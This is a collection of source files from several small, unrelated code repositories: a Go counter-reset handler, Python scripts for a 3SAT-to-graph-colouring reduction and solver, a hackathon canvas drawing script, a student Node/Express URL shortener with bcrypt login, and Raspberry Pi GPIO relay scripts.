http.HandleFunc("/reset", func(w http.ResponseWriter, r *http.Request) { host, err := os.Hostname() if err != nil { w.Write([]byte("Encountered error while trying to get hostname...")) return } lib.Reset() fmt.Fprintf(w, "Hello there from %s, this instance's counter has been reset.", host) }) err := http.ListenAndServe(":3333", nil) if err != nil { log.Fatal(err) } } ```
zetachang/FlickrPhoto
zetachang/FlickrPhoto README.md ```# FlickrPhoto Source from Cappuccino [Flickr Photo Demo Project](https://github.com/cappuccino/cappuccino-demos/tree/master/FlickrPhoto) Use Interface Builder in Xcode to reduce the lines of code from 432 to 242. ```
zetacheng/sample-pytest
zetacheng/sample-pytest compute_launch.py ```def days_until_launch(current_day, launch_day): """"Returns the days left before launch. current_day (int) - current day in integer launch_day (int) - launch day in integer """ if (current_day < 0 ) or (launch_day < 0): return 0 return 0 if launch_day - current_day < 0 else launch_day - current_day```
zeuhl/algo_avancee
zeuhl/algo_avancee Back_P1_3COL_Reducteur.py ```#!/usr/bin/env python # -*- coding: utf-8-unix -*- import fileinput import sys ##Déclaration de la classe graph class Graph : def __init__( self ) : self.v = set([]) self.e = set([]) ##Ajout d'un sommet dans le graph. def add_v( self, x ) : try : it = iter(x) for i in it : self.v.add( i ) except TypeError : self.v.add(x) ##Ajout d'une arrete dans le graph. ##L'ajout d'une arrete induit l'ajout des deux sommets. def add_e( self, x ) : try : it = iter(x) for (u,v) in it : self.v.add( u ) self.v.add( v ) self.e.add( (u,v) ) except TypeError : self.v.add( u ) self.v.add( v ) self.e.add( (u,v) ) ##Construction du graph sepcial avec les trois sommets V, F, R (gadget) ##Dans ce code ces 3 sommets sont appellé sp1,sp2,sp3 ##sp1 sera le sommet ou aucune arrete n'est relié ##sp2 sera le sommet ou les arretes du gadget sont reliée (sortie unique du gadget (Pas les variables)) ##sp3 sera le sommet ou les arretes des variables et leurs négation sont reliées. C = 0 for s in fileinput.input() : if s in [ "3SAT {\n", "3-SAT {\n" ] : ##Pour la premiére ligne de l'entrée (3SAT), on creer le graph g = Graph() ##On creer le triangle avec les sommets spéciaux (gadget) g.add_e( [ ("sp1", "sp2"), ("sp2","sp3"), ("sp1","sp3") ] ) elif len( s.split( ' ' ) ) == 2 : ##On récupére la premiére ligne qui nous donne le nombre de variables et le nombres de clauses de l'entrée (n,m) = map( int, s.split( ' ' ) ) ##On creer 2n sommets pour avoir la variable + sa négation g.add_v( [ (i) for i in range( 1, n+1 ) ] ) g.add_v( [ (-i) for i in range( 1, n+1 ) ] ) ##On ajoute les trois nouvelles arrêtes ## 1 --> entre les deux sommet (Vairable + sa négation) ## 2 --> entre les deux sommets et notre triangle spécial (sommet sp3) g.add_e( [ (i,-i) for i in range( 1, n+1 ) ] ) g.add_e( [ (i,"sp3") for i in range( 1, n+1 ) ] ) g.add_e( [ (-i,"sp3") for i in range( 1, n+1 ) ] ) elif len( s.split( ' ' ) ) == 3 : ##pour chaque clause on fait : ##On récupére les trois variabes de la clause de 3SAT (a,b,c) = map( int, s.split( ' ' ) ) ##On creer le gadget (5 sommets de C0 à C4) C0 = "C" + str(C) + "n0" C1 = "C" + str(C) + "n1" C2 = "C" + str(C) + "n2" C3 = "C" + str(C) + "n3" C4 = "C" + str(C) + "n4" ## On fait les liens entre les sommets spéciaux (5 nouvelles arrêtes) g.add_e( [ (C0, C1), (C0, C2), (C2, C3), (C2, C4), (C3, C4) ] ) ## On relie les commets (a,b,c) présent dans la clause avec notre gadget (5 arrêtes) ## 2 arrêtes reliées à notre triangle spécial (sp2, voir ci-dessus) ## 3 arrêtes reliées au variable de la clause g.add_e([(a,C3),(b,C4),(c,C1),(C0, "sp2"),(C1, "sp2")]) C += 1 vertices = "" for i in g.v : vertices += "{} ".format( i ) edges = "" for i in g.e : edges += "{}--{}\n".format( i[0], i[1] ) print( "Graph {" ) print( vertices ) print( edges + "}" ) ``` 3SATtoCA.py ```#!/usr/bin/env python # -*- coding: utf-8-unix -*- import fileinput ##Déclaration de la classe graph class Graph : def __init__( self ) : self.v = set([]) self.e = set([]) ##Ajout d'un sommet dans le graph def add_v( self, x ) : try : it = iter(x) for i in it : self.v.add( i ) except TypeError : self.v.add(x) def add_e( self, x ) : try : it = iter(x) for (u,v) in it : self.v.add( u ) self.v.add( v ) self.e.add( (u,v) ) except TypeError : self.v.add( u ) self.v.add( v ) self.e.add( (u,v) ) if __name__ == "__main__" : C = 0 for s in fileinput.input() : if s in [ "3SAT {\n", "3-SAT {\n" ] : g = Graph() elif len( s.split( ' ' ) ) == 2 : print( s.split( ' ' )) (n,m) = map( int, s.split( ' ' ) ) g.add_e( [ (i,-i) for i in range( 1, n+1 ) ] ) elif len( s.split( ' ' ) ) == 3 : (a,b,c) = map( int, s.split( ' ' ) ) C1 = "C" + str(C) + "n1" C2 = "C" + str(C) + "n2" C3 = "C" + str(C) + "n3" g.add_e( [ (C1, C2), (C2,C3), (C1,C3) ] ) g.add_e( [ ( C1, a ), (C2,b), (C3,c) ] ) C += 1 vertices = "" for i in g.v : vertices += "{} ".format( i ) edges = "" for i in g.e : edges += "{}--{}\n".format( i[0], i[1] ) print( "Graph {" ) print( vertices ) print( edges + "}" ) print( "Entier {{\n{k}\n}}".format( k=n+2*m) ) ``` Back_P1_3COL_Verificateur.py ```#!/usr/bin/env python # -*- coding: utf-8-unix -*- import fileinput import sys class MyColor: def __init__( self): self.valColor = set([]) def add_Color(self, nbColor): it = iter(nbColor) for u in it: self.valColor.add(u) class Sommet: def __init__( self,x ,color): self.x = x self.color = color self.listeVoisin = set([]) self.nbVoisin = 0 def setVoisin(self,Sommet): self.listeVoisin.add(Sommet) self.nbVoisin +=1 class Graph : def __init__( self ) : self.v = set([]) self.e = set([]) def add_v( self, Sommet ) : self.v.add( Sommet ) def add_e( self, x ) : try : it = iter(x) for (u,v) in it : self.e.add( (u,v) ) except TypeError : self.e.add( (u,v) ) def recupSommet(graph,x) : for i in graph.v: if i.x == x: ptrSommet = i return ptrSommet def initialisationGraph(v): list_sommet = [] for i in v.input() : if v.filelineno() == 1 : graph = Graph() if v.filelineno() == 2: list_sommet = map(str, i.split(" ")) list_sommet.pop() for j in list_sommet: mysommet = Sommet(j,"nothing") graph.add_v(mysommet) elif len( i.split( '--' ) ) == 2 : i = i.replace('\n', '') (n,m) = map( str, i.split( '--' ) ) graph.add_e( [ (n,m) ] ) elif len( i.split( '--' ) ) == 3 : (n,m,o) = map( str, i.split( '--' ) ) mySommet = recupSommet(graph,m) mySommet.color = o return graph def initialisationCouleur(v, graph): print "OK FONCTION !" for i in v.input() : print "La ligne est : " + str(i) def ajout_Voisin(graph): for j in graph.v: for i in graph.e: if i[0] == j.x: j.setVoisin(i[1]) elif i[1] == j.x: j.setVoisin(i[0]) def verification(graph): #on parcours les sommets for i in graph.v: #pour chaque sommet on parcours ces voisins for j in i.listeVoisin: mySommet = recupSommet(graph,j) if mySommet.color == i.color: return 1 return 0 def affichage_graph_debug(myGraph): #Fonction affichage du graph pour le debug nbArrete = 0 nbsommet = 0 for i in graph.v : nbsommet += 1 for i in graph.e : nbArrete += 1 print "####################################################" print "##### Nb sommets dans le graph : " + str(nbsommet) + " #####" print "##### Nb arrete dans le graph : " + str(nbArrete) + " #####" print "####################################################" for i in myGraph.v : print " ---------------------------------------------------" print " ---------------------------------------------------" print "Le sommet est : " + i.x print "Sa couleur vaut : " + i.color print "Son nombre de voisin est : " + str(i.nbVoisin) print "Les voici : " for j in i.listeVoisin : print j if __name__ == "__main__" : v = fileinput graph = initialisationGraph(v) ajout_Voisin(graph) #affichage_graph_debug(graph) #~ print "####################################################" #~ print "##### Lancement de la verification #####" #~ print "####################################################" ret = verification(graph) sys.exit(ret) ``` P1_3COL_Solveur.py ```#!/usr/bin/env python # -*- coding: utf-8-unix -*- import sys import fileinput ######################################################################## ## Programme qui fait la resolution du coloriage à 3 couleur d'un graphe ######################################################################## class MyColor: def __init__( self): self.valColor = set([]) def add_Color(self, nbColor): it = iter(nbColor) for u in it: self.valColor.add(u) class Sommet: def __init__( self,x ,color): self.x = x self.color = color self.listeVoisin = set([]) self.nbVoisin = 0 self.visiter = 0 def setVoisin(self,Sommet): self.listeVoisin.add(Sommet) self.nbVoisin +=1 class Graph : def __init__( self ) : self.v = set([]) self.e = set([]) def add_v( self, Sommet ) : self.v.add( Sommet ) def add_e( self, x ) : try : it = iter(x) for (u,v) in it : self.e.add( (u,v) ) except TypeError : self.e.add( (u,v) ) def recupSommet(graph,x) : for i in graph.v: if i.x == x: ptrSommet = i return ptrSommet def initialisationGraph(v): list_sommet = [] for i in v.input() : if v.filelineno() == 1 : graph = Graph() if v.filelineno() == 2: list_sommet = map(str, i.split(" ")) list_sommet.pop() for j in list_sommet: mysommet = Sommet(j,"nothing") graph.add_v(mysommet) elif len( i.split( '--' ) ) == 2 : i = i.replace('\n', '') (n,m) = map( str, i.split( '--' ) ) graph.add_e( [ (n,m) ] ) return graph def initialisationCouleur(v, graph): list_sommet = [] for i in v.input() : if len( i.split( '--' ) ) == 3 : (n,m,o) = map( str, i.split( '--' ) ) mySommet = recupSommet(graph,m) mySommet.color = o def ajout_Voisin(graph): for j in graph.v: for i in graph.e: if i[0] == j.x: j.setVoisin(i[1]) elif i[1] == j.x: j.setVoisin(i[0]) def verification(graph): #on parcours les sommets for i in graph.v: #Verifie si le sommet à une couleur sinon --> Echec if i.color == "nothing": return 1 return 0 def decolorer_graph(list_sommet): #Fonction qui mets la couleur des sommets de la liste en entrée à "nothing" for i in list_sommet: tmpSommet = recupSommet(graph,i) tmpSommet.color = "nothing" tmpSommet.visiter = 0 return 0 def recup_liste_color(k,list_colors): list_Colors_Choix = [] i = 0 #Fonction qui renvoie la liste de k couleurs while i < k: list_Colors_Choix.append(list_colors[i]) i += 1 return list_Colors_Choix def test_color_voisin(myGraph,S,myColor): #Fonction qui test si une couleur "myColor" peut etre mise sur le sommet S #On verifie qu'aucun de ses voisins ne possédent cette couleur for j in S.listeVoisin: tmpSommet = recupSommet(graph,j) if tmpSommet.color == myColor: return 1 return 0 def couleur_possible(myGraph,S,list_colors): list_colors_admissible = [] nbvoisin = 0 #Fonction qui retourne la liste des couleurs admissible par un sommet en fonction de ses voisins for i in list_colors: if test_color_voisin(myGraph,S,i) == 0: list_colors_admissible.append(i) return list_colors_admissible def graphRecursive(myGraph,nbColor,allColors,lstSommets,numSommet): if verification(myGraph) == 0 : return 0 sommetEnCour = recupSommet(myGraph,str(lstSommets[numSommet])) numColor = 0 while numColor < nbColor: if test_color_voisin(myGraph,sommetEnCour,allColors[numColor]) == 0: sommetEnCour.color = allColors[numColor] if graphRecursive(myGraph,nbColor,allColors,lstSommets,numSommet+1) == 0: return 0 sommetEnCour.color = "nothing" numColor += 1 return 1 def affichage_graph_debug(myGraph): #Fonction affichage du graph pour le debug nbArrete = 0 nbsommet = 0 for i in graph.v : nbsommet += 1 for i in graph.e : nbArrete += 1 print "####################################################" print "##### Nb sommets dans le graph : " + str(nbsommet) + " #####" print "##### Nb arrete dans le graph : " + str(nbArrete) + " #####" print "####################################################" for i in myGraph.v : print " ---------------------------------------------------" print " ---------------------------------------------------" print "Le sommet est : " + i.x print "Sa couleur vaut : " + i.color print "Son nombre de voisin est : " + str(i.nbVoisin) print "Les voici : " for j in i.listeVoisin : print j #Variable contient une liste de couleurs myListColor = ["vert","jaune","rouge"] #reglage du nombre de récursion maximum sys.setrecursionlimit(1000000) #On récupére l'entrée du pipe v = fileinput #On initialise le graph graph = initialisationGraph(v) #On ajoute la liste des voisins pour chaque sommets ajout_Voisin(graph) #On récupére une liste de coleurs en fonction d'un nombre de couleurs voulu allColor = recup_liste_color(3,myListColor) #~ affichage_graph_debug(graph) #On Choisit un sommet aléatoirement #Je choisit toujours le premier sommet du graph , aucune heuristique n'est émise #A REVOIR , pour le choix du premier sommet, choix utilisateur ? list_sommet = [] for i in graph.v: list_sommet.append(i.x) firstSommet = 0 if graphRecursive(graph,3,allColor,list_sommet,0) == 0: sys.exit(0) else: sys.exit(1) #~ #affichage_graph_debug(graph) #~ #On lance le coloriage du graph #~ print "####################################################" #~ print "##### LANCEMENT DU COLORIAGE GRAPH #####" #~ print "####################################################" #~ #~ if graphRecursive(graph,3,allColor,list_sommet,0) == 0: #~ print "Coloriage OK du graph" #~ print "Voici les couleurs de chaques sommets" #~ for i in graph.v: #~ print "Sommet : " + i.x + " -- Couleur : " + i.color #~ else: #~ print "Impossible de colorier le graph !" ```
zeusramirez/hackathon-2014
zeusramirez/hackathon-2014 script.js ```var canvas; // html el var canvasColor; //color draw var ctx; //2d env var ctxColor; // color var bMouseDown = false; //is my mouse down var selColorR = 0; //r var selColorG = 195; //g var selColorB = 135; //b var imageR = document.getElementById('selcolorR'); var imageG = document.getElementById('selcolorG'); var imageP = document.getElementById('selcolorP'); var imageY = document.getElementById('selcolorY'); var imageO = document.getElementById('selcolorO'); var imageselected = imageR; var audioR=document.getElementById('redsong'); var audioY=document.getElementById('yellowsong'); var audioG=document.getElementById('greensong'); var audioP=document.getElementById('purplesong'); var audioO=document.getElementById('orangesong'); var audioselected = audioR; $(function(){ // creating canvas objects canvas = document.getElementById('panel'); ctx = canvas.getContext('2d'); //Earl's draw function function draw(x, y){ var img=document.getElementById("scream"); ctx.drawImage(imageselected,x,y,20,20); console.log("Draw Called!"); //ctx.lineTo(x,y); //ctx.closePath(); //ctx.stroke(); } $("#selcolorR").click(function(){ ctx.strokeStyle="#FF0000"; imageselected=imageR; audioselected = audioR; }); $("#selcolorG").click(function(){ ctx.strokeStyle="#00FF00"; imageselected=imageG; audioselected = audioG; }); $("#selcolorP").click(function(){ ctx.strokeStyle="#CC66FF"; imageselected=imageP; audioselected = audioP; }); $("#selcolorY").click(function(){ ctx.strokeStyle="#FFFF00"; imageselected=imageY; audioselected = audioY; }); $("#selcolorO").click(function(){ ctx.strokeStyle="#FF9933"; imageselected=imageO; audioselected = audioO; }); //Event listeners //listen for an event $('#panel').mousedown(function(e) { // mouse down handler bMouseDown = true; console.log("Mousedown"); //$('#redsong')[0].play(); audioselected.play(); var canvasOffset = $(canvas).offset(); var canvasX = Math.floor(e.pageX - canvasOffset.left); var canvasY = Math.floor(e.pageY - canvasOffset.top); console.log("canvasX: "); console.log(canvasX); console.log("canvasY: "); console.log(canvasY); ctx.beginPath(); ctx.moveTo(canvasX,canvasY); }); $('#panel').mouseup(function(e) { // mouse up handler //console.log("Mouseup"); bMouseDown = false; //$('#redsong')[0].pause(); audioselected.pause(); }); $('#panel').mousemove(function(e) { // mouse move handler //console.log("Mousemove"); if (bMouseDown) { var canvasOffset = $(canvas).offset(); var canvasX = Math.floor(e.pageX - canvasOffset.left); var canvasY = Math.floor(e.pageY - canvasOffset.top); draw(canvasX, canvasY); } }); }); ```
zevpermack/tinyapp
zevpermack/tinyapp helpers.js ```const bcrypt = require('bcrypt'); const getUserByEmail = function(newEmail, database) { for (let user in database) { if (newEmail === database[user].email) { return database[user].id; } } return undefined; }; const generateRandomString = function() { let tiny = ''; const charBank = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; const bankLen = charBank.length; for (let i = 0; i < 6; i++) { let index = Math.floor((Math.random() * bankLen)); let ranChar = charBank.charAt(index); tiny += ranChar; } return tiny; }; const passValid = function(id, password, database) { //This should replace the old code below return bcrypt.compareSync(password, database[id].password); // returns true /*if (database[id].password === password) { return true } return false;*/ }; const urlsForUser = function(id, database) { const retObj = {}; for (let url in database) { if (database[url]['user_id'] === id) { retObj[url] = database[url].longURL; } } return retObj; }; const hasHTTP = function(link) { if (link.indexOf("http://") === 0 || link.indexOf("https://") === 0) { return true; } return false; }; class User { constructor(email, password) { this.id = generateRandomString(); this.email = email; this.password = password; } } module.exports = { getUserByEmail, generateRandomString, passValid, urlsForUser, hasHTTP, User };``` README.md ```# TinyApp Project TinyApp is a full stack web application built with Node and Express that allows users to shorten long URLs (à la bit.ly). It stores a library of your own URLS and their associated shortened links. ## Final Product !["Register"](https://github.com/rewpt/tinyapp/blob/master/docs/Register.png?raw=true) !["Login"](https://github.com/rewpt/tinyapp/blob/master/docs/URLindex.png?raw=true) ## Dependencies - Node.js - Express - EJS - bcrypt - body-parser - cookie-session ## Getting Started - Install all dependencies (using the `npm install` command). - Run the development web server using the `npm start` command. ## In the Browser - Navigate to your server `localhost:8080/` - Create an account with a valid email and password ## Using the Application - Create a new URL by typing it into the input box and click submit - View a list of your created URL under the my URL link in the nav bar - To visit a short link click edit and click the hyper link provided as the short link - Alternatively you may access the short link via: `localhost:8080/u/'shortlinkhere'` ## Final Notes - If you do not specify the method at the start of your URL: `https://` will prefix your URL on clicking the short link. ``` express_server.js ```const express = require('express'); const cookieSession = require('cookie-session'); const cookieParser = require('cookie-parser'); const bcrypt = require('bcrypt'); const app = express(); const PORT = 8080; app.use(express.urlencoded({ extended: true })); app.use(express.json()); app.use(cookieParser()); app.use(cookieSession({ name: 'session', keys: ['key1'], })); app.set("view engine", "ejs"); // Databases const users = { sKFU1p: { id: 'sKFU1p', email: 'a@a.com', password: '$2b$10$VV5V6sf9hA6Dl3rM7NaVAOAIXkog8bIg3X2qhh4BLB7JemRpwcA7.' } }; const urlDatabase = {}; //Functions and Classes const { getUserByEmail, hasHTTP, generateRandomString, passValid, urlsForUser, User } = require('./helpers'); // Get and post requests app.get("/", (req, res) => { res.redirect("/register"); }); app.get("/login", (req, res) => { const templateVars = { user: users[req.session.user_id] }; res.render('login', templateVars); }); app.get("/register", (req, res) => { const templateVars = { user: users[req.session.user_id] }; res.render('registration', templateVars); }); app.post("/register", (req, res) => { if (req.body.email.length === 0 || !req.body.email || req.body.password.length === 0 || !req.body.password) { res.status(400); return res.send('Status Code 400: Inappropriate email or password'); } if (getUserByEmail(req.body.email, users) !== undefined) { res.status(400); return res.send('Status Code 400: Duplicate Email'); } else { const hashedPassword = bcrypt.hashSync(req.body.password, 10); const newUser = new User(req.body.email, hashedPassword); users[newUser.id] = newUser; req.session.user_id = newUser.id; res.redirect('/urls'); } }); app.get("/urls.json", (req, res) => { res.json(urlDatabase); }); app.get("/hello", (req, res) => { res.send("<html><body>Hello <b>World</b></body></html>\n"); }); app.post("/login", (req, res) => { const id = getUserByEmail(req.body.email, users); if (id === undefined) { res.status(403).send('Status Code 403: Invalid email'); } if (passValid(id, req.body.password, users)) { req.session.user_id = id; res.redirect('/urls'); } else { res.status(403).send('Status Code 403: Invalid Password'); } }); app.post("/logout", (req, res) => { req.session = null; res.redirect('/login'); }); app.post("/urls/:shortURL/delete", (req, res) => { if (req.session.user_id === urlDatabase[req.params.shortURL].user_id) { const shortURL = req.params.shortURL; delete urlDatabase[shortURL]; res.redirect('/urls'); } else { res.status('403').send('Permission Denied: You are not the creator of this tiny URL'); } }); app.post("/urls/:id", (req, res) => { if (req.session.user_id === urlDatabase[req.params.id].user_id) { urlDatabase[req.params.id] = { longURL: req.body.newLongURL, user_id: req.session.user_id }; res.redirect('/urls'); } else { res.status('403').send('Permission Denied: You are not the creator of this tiny URL'); } }); app.get("/u/:shortURL", (req, res) => { const shortURL = req.params.shortURL; const longURL = urlDatabase[shortURL].longURL; let trimLong = longURL.trim(); if (!hasHTTP(trimLong)) { trimLong = 'https://' + trimLong; } urlDatabase[req.params.shortURL] === undefined ? res.redirect('/urls') : res.redirect(trimLong); }); app.get("/urls/new", (req, res) => { if (req.session.user_id !== undefined) { const templateVars = { user: users[req.session.user_id] }; res.render("urls_new", templateVars); } else { res.redirect('/login'); } }); app.get("/urls/:shortURL", (req, res) => { if (req.session.user_id === urlDatabase[req.params.shortURL].user_id ) { const templateVars = { user: users[req.session.user_id], shortURL: req.params.shortURL, longURL: urlDatabase[req.params.shortURL].longURL }; return res.render("urls_show", templateVars); } else { return res.status('403').send('Error 403: Unable to access this URL. This URL does not exist or you are not logged in as the owner.') } }); app.get("/urls", (req, res) => { if (req.session.user_id !== undefined) { const usersURLs = urlsForUser(req.session.user_id, urlDatabase); const templateVars = { urls: usersURLs, user: users[req.session.user_id] }; res.render("urls_index", templateVars); } else { res.redirect('/login'); } }); app.post("/urls", (req, res) => { if (req.session.user_id !== undefined) { const tiny = generateRandomString(); urlDatabase[tiny] = { longURL: req.body.longURL, user_id: req.session.user_id }; res.redirect(`/urls/${tiny}`); } else { res.status('403').send('Error 403: You must be logged in to submit a URL post request') } }); app.listen(PORT, () => { });```
zeyab/rasppi
zeyab/rasppi relayplay.py ```#!/usr/bin/env python import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BOARD) GPIO.setup(7, GPIO.OUT) ## GPIO pin 7 to OUT def Play(playTime): GPIO.output(7, True) ## Turn on GPIO pin 7 time.sleep(playTime) ## Wait GPIO.output(7, False) ## Switch off GPIO pin 7 GPIO.cleanup() ## Prompt user for input duration = raw_input("Enter play time: ") Play(int(duration)) ``` gpiotest.sh ```#!/bin/bash source gpio gpio mode 4 out while true; do gpio write 4 1 sleep 0.5 gpio write 4 0 sleep 0.5 done```